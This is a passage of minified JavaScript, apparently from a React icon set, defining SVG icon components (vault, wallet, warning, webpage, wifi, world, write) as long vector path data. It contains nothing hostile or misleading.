c-15.75-5.685-27.058-20.743-27.058-38.429c0-17.69,11.308-32.751,27.058-38.44v9.194V912.854z M1238.035,845.179v-8.769 c15.144,6.001,25.896,20.758,25.896,38.001c0,17.261-10.752,32.021-25.896,38.017V845.179z M1212.461,711.77 c-2.014,9.963-4.564,19.813-7.654,29.489c-61.936-32.053-146.322-67.303-235.16-79.466 c-155.131-21.218-168.833-29.74-183.829-73.174l-12.957-37.516l-29.723,26.291c-0.894,0.789-80.681,71.251-161.344,136.272 c-11.984-42.575-13.798-86.934-5.103-130.046c27.397-135.974,156.441-234.666,306.824-234.666c23.249,0,46.749,2.365,69.859,7.017 c85.297,17.195,159.218,63.936,208.153,131.617C1210.005,554.617,1228.081,634.235,1212.461,711.77z M608.063,845.179V817.6 v-56.933c55.635-44.597,111.831-92.696,143.719-120.336c30.452,47.001,85.592,56.964,210.67,74.073 c86.504,11.833,170.369,49.166,222.49,76.398V817.6v27.579v94.646c0,159.053-129.399,288.436-288.436,288.436 c-159.044,0-288.444-129.383-288.444-288.436V845.179z M833.33,1310.867V1275.4c20.489,3.853,41.586,5.962,63.177,5.962 c24.048,0,47.505-2.534,70.154-7.281v36.786v30.843v22.649l-66.796,36.995l-66.535-36.969v-22.676V1310.867z M1387.403,1564.451 c-68.34-121.537-201.975-214.22-367.649-245.175v-61.016c119.42-46.385,206.444-158.038,217.075-290.979 c45.291-6.708,80.194-45.742,80.194-92.871c0-43.972-30.399-80.88-71.265-91.081c8.175-19.678,14.536-40.158,18.745-61.06 c18.588-92.227-2.699-186.615-59.94-265.794c-56.781-78.533-142.27-132.711-240.705-152.558 c-26.547-5.354-53.57-8.062-80.343-8.062c-84.273,0-166.412,27.106-231.29,76.333c-66.301,50.303-111.619,121.676-127.595,200.942 c-13.13,65.121-6.196,132.494,20.021,194.854l5.997,14.245c-43.156,8.487-75.838,46.576-75.838,92.192 c0,47.533,35.52,86.844,81.383,93.041c10.909,135.439,101.083,248.828,224.035,293.486v58.325 c-165.679,30.955-299.3,123.638-367.641,245.175C208.383,1414.259,75.59,1172.364,75.59,900.003 c0-454.583,369.827-824.41,824.406-824.41s824.415,369.828,824.415,824.41C1724.41,1172.364,1591.608,1414.259,1387.403,1564.451z"})),vault:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1762.581,1.514H37.419c-17.352,0-31.407,14.06-31.407,31.407v1557.842 c0,17.342,14.056,31.406,31.407,31.406h217.792v144.909c0,17.342,14.065,31.407,31.407,31.407h245.651 c17.352,0,31.407-14.065,31.407-31.407v-144.909h672.647v144.909c0,17.342,14.057,31.407,31.408,31.407h245.649 c17.343,0,31.408-14.065,31.408-31.407v-144.909h217.792c17.342,0,31.407-14.064,31.407-31.406V32.92 C1793.988,15.574,1779.923,1.514,1762.581,1.514z M500.862,1735.671H318.026v-109.927h182.835V1735.671z M1481.974,1735.671 h-182.835v-109.927h182.835V1735.671z M215.154,199.597h1369.691v1230.754H215.154V199.597z M152.339,1027.651H68.826V596.919 h83.513V1027.651z M1731.173,1559.354H68.826v-468.894h83.513v371.298c0,17.342,14.057,31.408,31.408,31.408h1432.506 c17.343,0,31.406-14.066,31.406-31.408V168.19c0-17.347-14.063-31.407-31.406-31.407H183.747c-17.351,0-31.408,14.06-31.408,31.407 v365.915H68.826V64.328h1662.347V1559.354z"}),(0,o.createElement)("path",{d:"M1202.266,514.826c-0.763-0.964-1.569-1.906-2.458-2.796c-0.89-0.89-1.832-1.696-2.796-2.456 C1120.456,434.335,1015.561,387.842,900,387.842c-115.556,0-220.443,46.484-296.999,121.712c-0.973,0.767-1.924,1.578-2.818,2.473 c-0.898,0.898-1.708,1.847-2.475,2.82C522.48,591.403,476,696.286,476,811.839c0,115.539,46.471,220.417,121.686,296.968 c0.771,0.982,1.586,1.941,2.493,2.845c0.907,0.902,1.862,1.718,2.844,2.488c76.551,75.219,181.429,121.695,296.977,121.695 c115.557,0,220.447-46.489,297.003-121.721c0.964-0.763,1.911-1.57,2.805-2.463c0.893-0.896,1.704-1.841,2.467-2.81 C1277.511,1032.287,1324,927.396,1324,811.839C1324,696.274,1277.502,591.381,1202.266,514.826z M1196.258,843.247h63.473 c-6.582,76.025-36.775,145.377-83.251,200.659l-44.789-44.788c-12.265-12.265-32.152-12.265-44.416,0 c-12.265,12.265-12.265,32.152,0,44.415l44.784,44.79c-55.278,46.471-124.63,76.66-200.651,83.251v-63.481 c0-17.342-14.065-31.402-31.407-31.402c-17.352,0-31.408,14.061-31.408,31.402v63.481c-76.029-6.591-145.381-36.78-200.66-83.256 l44.784-44.785c12.264-12.263,12.264-32.146,0-44.415c-12.26-12.256-32.148-12.265-44.417,0l-44.784,44.784 c-46.476-55.278-76.666-124.63-83.255-200.655h63.48c17.342,0,31.408-14.062,31.408-31.408s-14.065-31.407-31.408-31.407h-63.48 c6.589-76.025,36.779-145.375,83.255-200.655l44.784,44.789c6.134,6.132,14.17,9.199,22.206,9.199 c8.036,0,16.081-3.067,22.21-9.199c12.264-12.264,12.264-32.15,0-44.417l-44.784-44.789c55.278-46.476,124.63-76.667,200.66-83.253 v63.476c0,17.347,14.056,31.408,31.408,31.408c17.342,0,31.407-14.061,31.407-31.408v-63.476 c76.025,6.585,145.373,36.777,200.656,83.253l-44.789,44.789c-12.265,12.266-12.265,32.152,0,44.417 c6.129,6.132,14.17,9.199,22.211,9.199c8.035,0,16.071-3.067,22.205-9.199l44.789-44.789 c46.476,55.28,76.669,124.628,83.251,200.655h-63.473c-17.351,0-31.407,14.061-31.407,31.407S1178.907,843.247,1196.258,843.247z"}),(0,o.createElement)("path",{d:"M900,654.805c-86.589,0-157.037,70.445-157.037,157.034c0,86.59,70.448,157.037,157.037,157.037 c86.59,0,157.036-70.447,157.036-157.037C1057.036,725.25,986.59,654.805,900,654.805z M900,906.062 c-51.958,0-94.222-42.267-94.222-94.223c0-51.953,42.265-94.22,94.222-94.22c51.952,0,94.223,42.267,94.223,94.22 C994.223,863.794,951.952,906.062,900,906.062z"})),wallet:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1763.594,924.166h-129.15V592.01c0-1.524-0.149-3.01-0.229-4.512V331.714 c0-17.393-14.098-31.491-31.491-31.491h-333.9L980.156,11.552c-5.909-5.904-13.918-9.222-22.27-9.222s-16.361,3.317-22.27,9.222 L717.95,229.219L615.625,126.89c-12.301-12.297-32.238-12.297-44.539,0L397.55,300.425c-1.146-0.127-2.311-0.202-3.492-0.202 H36.406c-17.393,0-31.491,14.098-31.491,31.491v335.157c0,1.028,0.057,2.043,0.154,3.044v1042.279 c0,47.131,38.345,85.476,85.476,85.476h1458.422c47.132,0,85.477-38.345,85.477-85.476v-332.152h129.15 c17.394,0,31.491-14.099,31.491-31.492V955.657C1795.085,938.264,1780.987,924.166,1763.594,924.166z M1571.232,363.206v146.372 c-7.112-1.925-14.555-3.045-22.266-3.045h-73.838l-143.327-143.327H1571.232z M957.887,78.356l428.172,428.177h-95.581 L910.096,126.147L957.887,78.356z M865.557,170.687l335.843,335.847H995.27l-232.78-232.78L865.557,170.687z M593.355,193.694 l80.06,80.059l44.535,44.535l188.244,188.245h-85.836L550.438,236.612L593.355,193.694z M731.279,506.533H280.517l225.381-225.381 L731.279,506.533z M191.442,506.533H90.545c-7.851,0-15.42,1.151-22.647,3.141V363.206H334.77L191.442,506.533z M1571.461,1712.195 c0,12.402-10.092,22.493-22.494,22.493H90.545c-12.402,0-22.493-10.091-22.493-22.493V592.01c0-12.402,10.091-22.494,22.493-22.494 h1458.422c11.63,0,21.114,8.905,22.266,20.231v77.125c0,1.235,0.093,2.452,0.229,3.651v253.644h-286.233 c-125.684,0-227.938,102.25-227.938,227.934c0,125.688,102.255,227.943,227.938,227.943h286.233V1712.195z M1732.103,1317.061 h-97.659h-62.982h-286.233c-90.954,0-164.955-74.002-164.955-164.961c0-90.955,74.001-164.951,164.955-164.951h286.233h62.982 h97.659V1317.061z"}),(0,o.createElement)("path",{d:"M1286.726,1044.13c-59.533,0-107.97,48.437-107.97,107.97c0,59.534,48.437,107.971,107.97,107.971 c59.534,0,107.971-48.437,107.971-107.971C1394.696,1092.566,1346.26,1044.13,1286.726,1044.13z M1286.726,1197.088 c-24.805,0-44.987-20.184-44.987-44.988s20.183-44.987,44.987-44.987s44.988,20.183,44.988,44.987 S1311.53,1197.088,1286.726,1197.088z"})),warning:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M770.8,796.605v265.968c0,71.216,57.939,129.154,129.154,129.154c71.209,0,129.148-57.938,129.157-129.154 l-0.009-265.964c0-71.215-57.93-129.154-129.148-129.154C828.739,667.456,770.8,725.39,770.8,796.605z M966.08,796.609 l0.009,265.96c-0.009,36.469-29.672,66.138-66.135,66.138c-36.464,0-66.133-29.669-66.133-66.134V796.605 c0-36.465,29.668-66.129,66.133-66.129C936.417,730.476,966.08,760.145,966.08,796.609z"}),(0,o.createElement)("path",{d:"M899.954,1231.867c-71.566,0-129.787,58.221-129.787,129.787c0,71.572,58.221,129.796,129.787,129.796 c71.569,0,129.791-58.224,129.791-129.796C1029.744,1290.088,971.522,1231.867,899.954,1231.867z M899.954,1428.43 c-36.816,0-66.766-29.954-66.766-66.775c0-36.816,29.95-66.767,66.766-66.767c36.814,0,66.768,29.95,66.768,66.767 C966.722,1398.476,936.768,1428.43,899.954,1428.43z"}),(0,o.createElement)("path",{d:"M1790.452,1630.839L927.246,135.725c-5.635-9.75-16.037-15.755-27.292-15.755 c-11.258,0-21.659,6.004-27.29,15.755L8.344,1632.76c-5.627,9.751-5.627,21.761,0,31.511c5.631,9.75,16.032,15.755,27.29,15.755 h1728.644c0.037,0.004,0.063,0.004,0.089,0c17.4,0,31.511-14.106,31.511-31.51 C1795.877,1641.964,1793.882,1635.881,1790.452,1630.839z M90.21,1617.004L899.954,214.5l809.745,1402.503H90.21z"})),webpage:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1718.199,2.029H81.579c-43.977,0-79.754,35.772-79.754,79.741v1636.633 c0,43.973,35.777,79.749,79.754,79.749h1636.62c43.969,0,79.745-35.776,79.745-79.749V81.77 C1797.944,37.801,1762.168,2.029,1718.199,2.029z M1734.873,1718.402c0,9.195-7.479,16.679-16.674,16.679H81.579 c-9.204,0-16.683-7.483-16.683-16.679V340.556h1669.977V1718.402z M1734.873,277.485H64.896V81.77c0-9.19,7.479-16.67,16.683-16.67 h1636.62c9.194,0,16.674,7.479,16.674,16.67V277.485z"}),(0,o.createElement)("circle",{cx:"201.36",cy:"168.237",r:"50.682"}),(0,o.createElement)("circle",{cx:"361.29",cy:"168.237",r:"50.682"}),(0,o.createElement)("circle",{cx:"521.221",cy:"168.237",r:"50.682"}),(0,o.createElement)("path",{d:"M691.019,1349.104c4.712,2.503,9.771,3.687,14.76,3.687c11.293,0,22.218-6.085,27.884-16.753 l362.28-682.476c8.166-15.385,2.314-34.475-13.066-42.64c-15.385-8.166-34.474-2.31-42.639,13.067l-362.291,682.476 C669.782,1321.85,675.634,1340.939,691.019,1349.104z"}),(0,o.createElement)("path",{d:"M281.378,967.035c0.018,0.29,0.062,0.576,0.083,0.871c0.181,2.38,0.647,4.765,1.395,7.114 c0.105,0.325,0.184,0.659,0.299,0.984c0.136,0.388,0.317,0.771,0.471,1.153c0.233,0.599,0.466,1.193,0.739,1.773 c0.021,0.048,0.04,0.102,0.066,0.153c0.057,0.124,0.141,0.229,0.202,0.353c0.537,1.091,1.144,2.143,1.804,3.162 c0.176,0.282,0.352,0.561,0.542,0.832c0.743,1.078,1.544,2.12,2.424,3.103c0.163,0.18,0.338,0.339,0.501,0.514 c0.739,0.788,1.526,1.541,2.354,2.254c0.303,0.259,0.603,0.515,0.911,0.765c0.858,0.688,1.75,1.333,2.692,1.936 c0.176,0.115,0.344,0.247,0.524,0.356c0.928,0.567,1.888,1.091,2.891,1.57l315.32,150.776c4.391,2.098,9.019,3.092,13.581,3.092 c11.769,0,23.058-6.616,28.469-17.941c7.515-15.71,0.871-34.54-14.844-42.055L385.988,965.481l255.813-122.323 c15.715-7.514,22.359-26.344,14.844-42.055c-7.51-15.714-26.344-22.367-42.05-14.848L299.592,936.882 c-0.009,0.004-0.018,0.004-0.022,0.008l-0.295,0.141c-0.264,0.128-0.501,0.282-0.761,0.414c-0.633,0.321-1.263,0.646-1.874,1.016 c-0.356,0.212-0.69,0.449-1.038,0.678c-0.515,0.335-1.034,0.674-1.536,1.042c-0.37,0.274-0.712,0.573-1.074,0.859 c-0.44,0.36-0.879,0.712-1.307,1.1c-0.356,0.325-0.695,0.673-1.033,1.012c-0.388,0.383-0.774,0.761-1.145,1.166 c-0.343,0.383-0.66,0.779-0.981,1.175c-0.33,0.396-0.66,0.787-0.968,1.205c-0.334,0.453-0.638,0.919-0.946,1.391 c-0.255,0.392-0.528,0.774-0.77,1.179c-0.331,0.55-0.621,1.117-0.911,1.681c-0.167,0.317-0.352,0.607-0.501,0.928 c-0.026,0.054-0.044,0.103-0.066,0.154c-0.273,0.581-0.506,1.175-0.739,1.769c-0.154,0.388-0.335,0.77-0.471,1.157 c-0.115,0.325-0.194,0.66-0.299,0.99c-0.748,2.345-1.214,4.729-1.395,7.109c-0.022,0.291-0.066,0.581-0.083,0.872 c-0.027,0.518-0.005,1.037-0.005,1.556C281.373,965.997,281.351,966.512,281.378,967.035z"}),(0,o.createElement)("path",{d:"M1117.246,1129.855c5.411,11.325,16.705,17.941,28.474,17.941c4.558,0,9.19-0.994,13.576-3.092 l315.321-150.776c1.003-0.479,1.967-1.003,2.89-1.57c0.181-0.109,0.349-0.241,0.523-0.356c0.942-0.603,1.839-1.248,2.692-1.936 c0.313-0.25,0.612-0.506,0.916-0.765c0.826-0.713,1.61-1.466,2.35-2.254c0.166-0.175,0.343-0.334,0.501-0.514 c0.88-0.982,1.681-2.024,2.429-3.103c0.184-0.271,0.361-0.55,0.54-0.832c0.661-1.02,1.268-2.071,1.805-3.162 c0.063-0.124,0.145-0.229,0.202-0.353c0.022-0.052,0.039-0.105,0.065-0.153c0.274-0.58,0.503-1.175,0.74-1.773 c0.153-0.383,0.334-0.766,0.47-1.153c0.115-0.325,0.193-0.659,0.301-0.984c0.746-2.35,1.209-4.734,1.393-7.114 c0.022-0.295,0.066-0.581,0.081-0.871c0.026-0.523,0.008-1.038,0.008-1.554c0-0.519,0.019-1.038-0.008-1.556 c-0.015-0.291-0.059-0.581-0.081-0.872c-0.184-2.381-0.646-4.765-1.393-7.109c-0.107-0.33-0.186-0.665-0.301-0.99 c-0.136-0.388-0.316-0.77-0.47-1.157c-0.237-0.594-0.466-1.188-0.74-1.769c-0.026-0.052-0.043-0.101-0.065-0.154 c-0.154-0.32-0.34-0.616-0.506-0.928c-0.291-0.567-0.58-1.131-0.906-1.681c-0.246-0.408-0.52-0.802-0.783-1.197 c-0.304-0.457-0.599-0.923-0.933-1.368c-0.316-0.427-0.655-0.831-0.994-1.236c-0.308-0.383-0.616-0.77-0.95-1.135 c-0.383-0.427-0.787-0.822-1.192-1.224c-0.321-0.319-0.638-0.646-0.973-0.954c-0.458-0.413-0.938-0.796-1.417-1.183 c-0.315-0.256-0.624-0.523-0.954-0.767c-0.559-0.418-1.14-0.795-1.72-1.174c-0.281-0.181-0.555-0.375-0.841-0.546 c-0.712-0.431-1.447-0.818-2.195-1.192c-0.167-0.079-0.316-0.18-0.483-0.26l-0.186-0.088c-0.062-0.03-0.132-0.065-0.197-0.097 l-314.938-150.59c-15.696-7.51-34.536-0.863-42.05,14.848c-7.515,15.711-0.867,34.541,14.844,42.055l255.817,122.323 l-255.817,122.319C1116.379,1095.315,1109.731,1114.146,1117.246,1129.855z"})),wifi:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M294.904,16.65C141.476,16.65,16.65,141.476,16.65,294.904c0,153.429,124.825,278.25,278.254,278.25 c513.876,0,931.945,418.065,931.945,931.941c0,153.429,124.825,278.254,278.25,278.254s278.25-124.825,278.25-278.254 C1783.35,684.362,1115.638,16.65,294.904,16.65z M1505.1,1721.313c-119.222,0-216.214-96.996-216.214-216.218 c0-548.079-445.898-993.978-993.981-993.978c-119.226,0-216.218-96.992-216.218-216.214c0-119.221,96.992-216.218,216.218-216.218 c786.522,0,1426.409,639.883,1426.409,1426.409C1721.313,1624.317,1624.321,1721.313,1505.1,1721.313z"}),(0,o.createElement)("path",{d:"M197.376,778.602c-98.892,0-179.345,80.458-179.345,179.35s80.454,179.35,179.345,179.35 c255.57,0,463.497,207.923,463.497,463.493c0,98.892,80.453,179.345,179.35,179.345c98.892,0,179.345-80.453,179.345-179.345 C1019.567,1147.436,650.734,778.602,197.376,778.602z M840.223,1718.103c-64.685,0-117.313-52.624-117.313-117.309 c0-289.778-235.751-525.529-525.533-525.529c-64.685,0-117.309-52.629-117.309-117.313s52.625-117.313,117.309-117.313 c419.151,0,760.155,341.004,760.155,760.156C957.531,1665.479,904.907,1718.103,840.223,1718.103z"}),(0,o.createElement)("path",{d:"M251.519,1319.255c-127.067,0-230.442,103.375-230.442,230.442c0,127.066,103.375,230.441,230.442,230.441 s230.442-103.375,230.442-230.441C481.961,1422.63,378.586,1319.255,251.519,1319.255z M251.519,1718.103 c-92.86,0-168.406-75.546-168.406-168.405c0-92.86,75.546-168.406,168.406-168.406s168.406,75.546,168.406,168.406 C419.925,1642.557,344.379,1718.103,251.519,1718.103z"})),world:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1627.938,384.003c-12.13-17.064-24.856-33.673-38.118-49.817 C1425.985,134.806,1177.596,7.414,900.004,7.414c-277.596,0-525.985,127.392-689.825,326.772 c-13.27,16.144-25.988,32.752-38.122,49.817C68.421,529.789,7.417,707.905,7.417,899.997c0,193.195,61.719,372.25,166.447,518.491 c12.194,17.021,24.947,33.613,38.277,49.705c163.849,198.021,411.368,324.393,687.863,324.393 c276.49,0,524.014-126.371,687.858-324.393c13.326-16.092,26.084-32.684,38.273-49.705 c104.725-146.241,166.447-325.296,166.447-518.491C1792.583,707.905,1731.583,529.789,1627.938,384.003z M1538.661,370.69 c-14.208,9.139-29.117,18.046-44.792,26.668c-46.543,25.601-97.693,47.778-152.398,66.383 c-21.347-67.829-47.821-130.984-79.089-187.832c-39.409-71.671-84.575-129.96-133.772-173.723 C1291.124,148.828,1433.377,243.88,1538.661,370.69z M1359.744,643.08c9.006,0,17.533,2.022,25.231,5.559 c20.911,9.604,35.502,30.696,35.502,55.178c0,18.967-8.748,35.919-22.413,47.063c-10.46,8.528-23.799,13.666-38.32,13.666 c-8.459,0-16.51-1.739-23.833-4.88c-21.673-9.285-36.909-30.816-36.909-55.85c0-19.525,9.303-36.883,23.661-48.001 C1332.934,647.865,1345.777,643.08,1359.744,643.08z M931.363,72.248c102.999,13.842,200.043,95.649,276.063,233.884 c29.271,53.217,54.09,112.439,74.167,176.138c-107.509,30.102-226.449,47.123-350.23,49.584V72.248z M931.363,594.58 c129.529-2.487,254.326-20.361,367.476-52.055c4.083,15.843,7.878,31.935,11.402,48.234 c-43.492,19.112-73.951,62.588-73.951,113.059c0,61.521,45.234,112.655,104.19,121.932c0.706,14.87,1.205,29.835,1.484,44.86 h-322.077c-10.74-43.845-44.964-78.56-88.524-90.014V594.58z M1297.884,1261.146c-112.896-31.539-237.361-49.31-366.521-51.788 V1019.4c42.252-11.102,75.702-44.095,87.482-86.072h323.038C1339.443,1048.607,1324.384,1159.661,1297.884,1261.146z M1310.731,1488.752c-0.004,33.493-27.249,60.738-60.733,60.738c-0.727,0-1.424-0.086-2.143-0.112 c-23.153-0.817-43.01-14.612-52.536-34.354c-3.847-7.96-6.063-16.849-6.063-26.272c0-29.946,21.797-54.825,50.338-59.782 c3.386-0.594,6.85-0.955,10.399-0.955c19.568,0,36.952,9.337,48.07,23.751C1305.973,1462.032,1310.731,1474.829,1310.731,1488.752 z M868.646,72.248v459.606c-123.79-2.461-242.727-19.483-350.244-49.576c4.759-15.094,9.785-29.938,15.068-44.499 c2.539,0.155,5.086,0.258,7.659,0.258c68.069,0,123.454-55.385,123.454-123.454c0-29.806-10.619-57.171-28.261-78.525 C704.307,140.283,784.484,83.556,868.646,72.248z M501.166,542.525c113.145,31.703,237.95,49.568,367.48,52.055v186.016 c-43.57,11.454-77.785,46.168-88.533,90.014H458.035C460.187,755.304,474.953,644.173,501.166,542.525z M480.392,314.583 c0-33.493,27.245-60.738,60.738-60.738c2.96,0,5.843,0.284,8.691,0.693c22.891,3.304,41.659,19.362,48.854,40.76 c2.039,6.066,3.192,12.538,3.192,19.285c0,26.965-17.676,49.86-42.046,57.76c-5.895,1.919-12.168,2.978-18.691,2.978 c-16.876,0-32.15-6.928-43.166-18.071C487.113,346.268,480.392,331.2,480.392,314.583z M671.399,102.187 c-30.326,26.969-59.12,59.446-85.96,97.199c-13.769-5.314-28.699-8.257-44.31-8.257c-68.069,0-123.455,55.381-123.455,123.455 c0,43.311,22.443,81.459,56.28,103.498c-5.396,14.965-10.55,30.188-15.421,45.661c-54.705-18.605-105.856-40.782-152.403-66.383 c-15.671-8.623-30.584-17.529-44.792-26.668C366.619,243.88,508.876,148.828,671.399,102.187z M223.002,420.56 c16.746,10.946,34.353,21.548,52.906,31.754c50.506,27.778,106.003,51.753,165.312,71.727 c-28.002,107.586-43.716,225.008-45.91,346.569H70.676C76.528,703.387,132.076,548.574,223.002,420.56z M464.894,1048.917 c16.385,10.886,27.219,29.491,27.219,50.609c0,15.489-5.877,29.603-15.464,40.342c-11.127,12.479-27.271,20.387-45.256,20.387 h-0.009c-5.267,0-10.353-0.749-15.24-2.014c-26.126-6.79-45.497-30.507-45.497-58.715c0-22.719,12.547-42.537,31.065-52.95 c8.778-4.939,18.889-7.796,29.672-7.796C443.767,1038.78,455.281,1042.532,464.894,1048.917z M70.797,933.328h324.599 c0.318,15.946,0.878,31.832,1.661,47.631c-51.418,14.905-89.127,62.391-89.127,118.567c0,67.122,53.879,121.879,120.666,123.368 c4.156,19.164,8.683,38.07,13.579,56.676c-59.67,20.042-115.485,44.129-166.258,72.054c-17.848,9.811-34.818,19.999-50.987,30.498 C133.582,1254.58,77.423,1100.223,70.797,933.328z M263.491,1431.844c13.562-8.648,27.761-17.081,42.64-25.266 c46.874-25.781,98.412-48.087,153.539-66.77c21.152,66.478,47.227,128.437,77.949,184.278 c39.421,71.675,84.583,129.977,133.79,173.744C509.986,1651.499,368.555,1557.381,263.491,1431.844z M868.646,1727.753 c-103.008-13.847-200.052-95.65-276.073-233.88c-28.717-52.21-53.139-110.211-73.009-172.532 c107.207-29.912,225.739-46.805,349.082-49.267V1727.753z M868.646,1209.357c-129.168,2.479-253.638,20.249-366.534,51.788 c-4.518-17.322-8.7-34.93-12.547-52.777c38.811-20.834,65.264-61.813,65.264-108.842c0-58.312-40.635-107.276-95.065-120.133 c-0.783-15.267-1.316-30.636-1.652-46.065h323.042c11.789,41.978,45.239,74.971,87.492,86.072V1209.357z M868.646,951.916 c-7.745-4.698-14.38-11.041-19.362-18.588c-6.316-9.578-10.017-21.015-10.017-33.331c0-10.654,2.78-20.67,7.625-29.388 c5.154-9.285,12.693-17.039,21.754-22.529c9.165-5.559,19.878-8.82,31.358-8.82s22.185,3.261,31.359,8.82 c9.061,5.49,16.6,13.244,21.754,22.529c4.846,8.717,7.625,18.734,7.625,29.388c0,12.316-3.709,23.753-10.025,33.331 c-4.975,7.547-11.609,13.89-19.354,18.588c-9.174,5.559-19.879,8.82-31.359,8.82S877.811,957.475,868.646,951.916z M931.363,1727.753v-455.679c123.342,2.462,241.87,19.354,349.077,49.267c-4.858,15.224-9.961,30.223-15.356,44.921 c-4.953-0.619-9.982-0.964-15.099-0.964c-68.065,0-123.445,55.385-123.445,123.454c0,31.746,12.052,60.729,31.818,82.63 C1091.523,1662.669,1013.33,1716.737,931.363,1727.753z M1128.592,1697.831c28.923-25.73,56.435-56.503,82.217-92.035 c12.319,4.13,25.49,6.411,39.189,6.411c68.062,0,123.446-55.386,123.45-123.455c-0.004-40.635-19.745-76.734-50.14-99.247 c5.998-16.247,11.656-32.838,17.018-49.696c55.135,18.683,106.673,40.988,153.543,66.77c14.879,8.185,29.082,16.617,42.645,25.274 C1431.445,1557.39,1290.019,1651.499,1128.592,1697.831z M1575.07,1382.122c-16.169-10.499-33.14-20.688-50.979-30.498 c-50.772-27.925-106.592-52.012-166.267-72.054c28.286-107.405,44.301-224.724,46.783-346.242h324.6 c0.435-11.049,0.658-22.168,0.658-33.331c0,0.009,0,0.009,0,0.009c0,11.154-0.224,22.264-0.658,33.322l0,0 C1722.577,1100.223,1666.418,1254.58,1575.07,1382.122z M1729.324,870.609L1729.324,870.609H1404.69 c-0.31-17.143-0.886-34.207-1.733-51.168c46.817-17.564,80.237-62.751,80.237-115.624c0-63.844-48.72-116.527-110.93-122.826 c-4.122-19.259-8.613-38.251-13.48-56.951c59.31-19.973,114.802-43.948,165.304-71.727c18.558-10.206,36.164-20.816,52.915-31.754 C1667.924,548.574,1723.477,703.379,1729.324,870.609h20.52l0,0H1729.324z"})),write:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M241.023,324.818c0.252,0,0.505,0.035,0.758,0.035h465.68c17.266,0,31.256-13.99,31.256-31.252 c0-17.262-13.99-31.247-31.256-31.247H351.021h-109.24c-17.258,0-31.252,13.985-31.252,31.247 C210.529,310.605,224.121,324.412,241.023,324.818z"}),(0,o.createElement)("path",{d:"M210.529,450.306c0,17.257,13.994,31.252,31.252,31.252h769.451c17.262,0,31.256-13.995,31.256-31.252 c0-17.266-13.994-31.252-31.256-31.252H241.781C224.523,419.054,210.529,433.04,210.529,450.306z"}),(0,o.createElement)("path",{d:"M1011.232,575.751H241.781c-8.149,0-15.549,3.147-21.116,8.261c-6.213,5.712-10.136,13.879-10.136,22.987 c0,17.262,13.994,31.26,31.252,31.26h769.451c17.262,0,31.256-13.999,31.256-31.26c0-9.108-3.923-17.275-10.141-22.987 C1026.781,578.898,1019.386,575.751,1011.232,575.751z"}),(0,o.createElement)("path",{d:"M1011.232,732.461H241.781c-17.258,0-31.252,13.99-31.252,31.247c0,17.262,13.994,31.257,31.252,31.257 h769.451c17.262,0,31.256-13.995,31.256-31.257C1042.488,746.451,1028.494,732.461,1011.232,732.461z"}),(0,o.createElement)("path",{d:"M1011.232,889.157H241.781c-8.149,0-15.549,3.147-21.116,8.261c-6.213,5.713-10.136,13.879-10.136,22.987 c0,17.257,13.994,31.261,31.252,31.261h769.451c17.262,0,31.256-14.004,31.256-31.261c0-9.108-3.923-17.274-10.141-22.987 C1026.781,892.305,1019.386,889.157,1011.232,889.157z"}),(0,o.createElement)("path",{d:"M1011.232,1045.867H241.781c-17.258,0-31.252,13.99-31.252,31.243c0,17.271,13.994,31.265,31.252,31.265 h769.451c17.262,0,31.256-13.994,31.256-31.265C1042.488,1059.857,1028.494,1045.867,1011.232,1045.867z"}),(0,o.createElement)("path",{d:"M1011.232,1202.576H241.781c-17.258,0-31.252,13.995-31.252,31.252c0,17.258,13.994,31.252,31.252,31.252 h769.451c17.262,0,31.256-13.994,31.256-31.252C1042.488,1216.571,1028.494,1202.576,1011.232,1202.576z"}),(0,o.createElement)("path",{d:"M1011.232,1359.273H241.781c-8.149,0-15.549,3.151-21.116,8.265c-6.213,5.713-10.136,13.875-10.136,22.987 c0,17.258,13.994,31.261,31.252,31.261h769.451c17.262,0,31.256-14.003,31.256-31.261c0-9.112-3.923-17.274-10.141-22.987 C1026.781,1362.425,1019.386,1359.273,1011.232,1359.273z"}),(0,o.createElement)("path",{d:"M1233.542,251.228l-49.851-45.109L1052.136,87.076l-59.185-53.554c-5.293-4.792-11.947-7.421-18.786-7.836 h-3.49H83.676c-45.688,0-82.858,37.375-82.858,83.316v1583.612c0,45.94,37.17,83.316,82.858,83.316h1078.562 c45.68,0,82.845-37.376,82.845-83.316V277.08v-3.182C1244.646,264.73,1240.261,256.589,1233.542,251.228z M1003.117,125.864 l131.119,118.657h-131.119V125.864z M1183.691,1692.613c0,12.094-9.622,21.926-21.454,21.926H83.676 c-11.836,0-21.467-9.832-21.467-21.926V109.001c0-12.089,9.631-21.925,21.467-21.925h857.857V275.38 c0,17.052,13.785,30.862,30.786,30.862h211.372V1692.613z"}),(0,o.createElement)("path",{d:"M1798.578,180.737c-7.049-88.305-81.114-158.02-171.205-158.02c-0.004,0-0.004,0-0.004,0 c-45.889,0-89.033,17.874-121.479,50.32c-29.18,29.175-46.519,67.005-49.73,107.699h-0.586v13.609c0,0.06-0.005,0.115-0.005,0.175 c0,0.026,0.005,0.056,0.005,0.082l-0.005,1369.26h0.197c0.557,5.404,2.522,10.731,6.047,15.373l141.135,185.91 c5.803,7.648,14.851,12.136,24.447,12.136c9.601-0.004,18.646-4.496,24.447-12.14l141.093-185.897 c3.528-4.65,5.494-9.982,6.051-15.391h0.197V180.737H1798.578z M1549.299,116.448c20.854-20.855,48.578-32.339,78.07-32.339h0.004 c50.24,0,92.746,33.723,106.076,79.718h-212.19C1526.358,146.098,1535.896,129.852,1549.299,116.448z M1595.372,1502.468 l-78.413,0.005l0.005-1260.345h220.828v1260.336h-81.103l0.009-1016.486l-61.335,0.004L1595.372,1502.468z 